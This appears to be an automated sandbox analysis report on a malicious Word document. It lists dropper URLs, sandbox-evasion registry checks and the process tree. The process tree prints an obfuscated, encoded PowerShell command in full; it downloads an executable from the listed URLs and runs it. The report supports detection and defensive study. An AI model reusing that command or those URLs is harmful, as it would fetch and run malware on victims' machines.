Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
13-12-2019 22:23
General
-
Target
991da5ee62148b954a6668c6596125452af7742f620c784d5cadcbdf102f5a05.doc
-
Sample
191213-fz44hthane
-
SHA256
991da5ee62148b954a6668c6596125452af7742f620c784d5cadcbdf102f5a05
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://thematspacifica.com/wp-content/n46j/
exe.dropper
http://surcanal.es/calendar/idI1/
exe.dropper
https://welderpicks.com/wp-admin/cais9n/
exe.dropper
https://inspiration-investment-group.co.uk/cgi-bin/l8/
exe.dropper
https://rushdafilms.com/wp-content/EhNnaEYsWg/
Signatures
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 1700 wrote to memory of 4488 1700 SppExtComObj.exe 76 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4528 Powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4932 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4528 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4932 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4932 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\991da5ee62148b954a6668c6596125452af7742f620c784d5cadcbdf102f5a05.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4932
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4488
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABKAHgAaQBrAGgAcwBpAGwAcwByAHkAeAB0AD0AJwBZAHAAbwByAGoAegBsAG8AZgB1AHUAdwAnADsAJABVAHcAbwBuAHEAZwBlAHcAbwAgAD0AIAAnADMAMAA1ACcAOwAkAFUAcwBsAHcAdQBoAGoAYQA9ACcAWABsAHMAcAB2AHoAdQBkAHgAaQAnADsAJABHAHkAdgBlAGUAcwBrAGIAZABnAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAdwBvAG4AcQBnAGUAdwBvACsAJwAuAGUAeABlACcAOwAkAFgAZAB6AHgAaQBkAHEAbQB2AD0AJwBRAHcAZwBsAHcAbwBsAG8AcAB2AGcAJwA7ACQATQBqAGIAdgBnAHMAaQBiAHEAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAEkARQBOAFQAOwAkAE8AegBoAGYAdgBwAG8AeABxAD0AJwBoAHQAdABwADoALwAvAHQAaABlAG0AYQB0AHMAcABhAGMAaQBmAGkAYwBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgA0ADYAagAvACoAaAB0AHQAcAA6AC8ALwBzAHUAcgBjAGEAbgBhAGwALgBlAHMALwBjAGEAbABlAG4AZABhAHIALwBpAGQASQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGwAZABlAHIAcABpAGMAawBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBjAGEAaQBzADkAbgAvACoAaAB0AHQAcABzADoALwAvAGkAbgBzAHAAaQByAGEAdABpAG8AbgAtAGkAbgB2AGUAcwB0AG0AZQBuAHQALQBnAHIAbwB1AHAALgBjAG8ALgB1AGsALwBjAGcAaQAtAGIAaQBuAC8AbAA4AC8AKgBoAHQAdABwAHMAOgAvAC8AcgB1AHMAaABkAGEAZgBpAGwAbQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ARQBoAE4AbgBhAEUAWQBzAFcAZwAvACcALgAiAFMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABUAHoAagB2AGEAcwBrAG4AbABuAHUAPQAnAFgAegBnAGoAZwBwAHgAdwBiAHMAbwBuAHgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcAB3AHcAdgB6AHEAagBqAHgAZAAgAGkAbgAgACQATwB6AGgAZgB2AHAAbwB4AHEAKQB7AHQAcgB5AHsAJABNAGoAYgB2AGcAcwBpAGIAcQAuACIAZABPAFcATgBsAGAAbwBgAEEAZABgAEYAaQBsAGUAIgAoACQAVQBwAHcAdwB2AHoAcQBqAGoAeABkACwAIAAkAEcAeQB2AGUAZQBzAGsAYgBkAGcAeAApADsAJABVAGEAbAByAHMAbQBlAGkAdAB2AD0AJwBRAGIAZQBpAGwAZAB6AHIAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABHAHkAdgBlAGUAcwBrAGIAZABnAHgAKQAuACIAbABFAGAATgBHAFQASAAiACAALQBnAGUAIAAyADkAMAAyADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGAAQQBSAHQAIgAoACQARwB5AHYAZQBlAHMAawBiAGQAZwB4ACkAOwAkAE8AcQBvAHEAcgBnAHUAaABjAD0AJwBUAGwAYwBkAHEAbABzAHEAbQBvAHUAbABnACcAOwBiAHIAZQBhAGsAOwAkAEsAYwBrAHkAeQBhAGwAdgB3AGEAZQB2AG0APQAnAE4AagBhAHMAaAB0AGcAaQBuAG8AeQB2AHcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQBoAHYAdQB3AHMAeABlAGUAeABoAHAAPQAnAE0AcQBmAG8AbgBiAGsAbAAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4528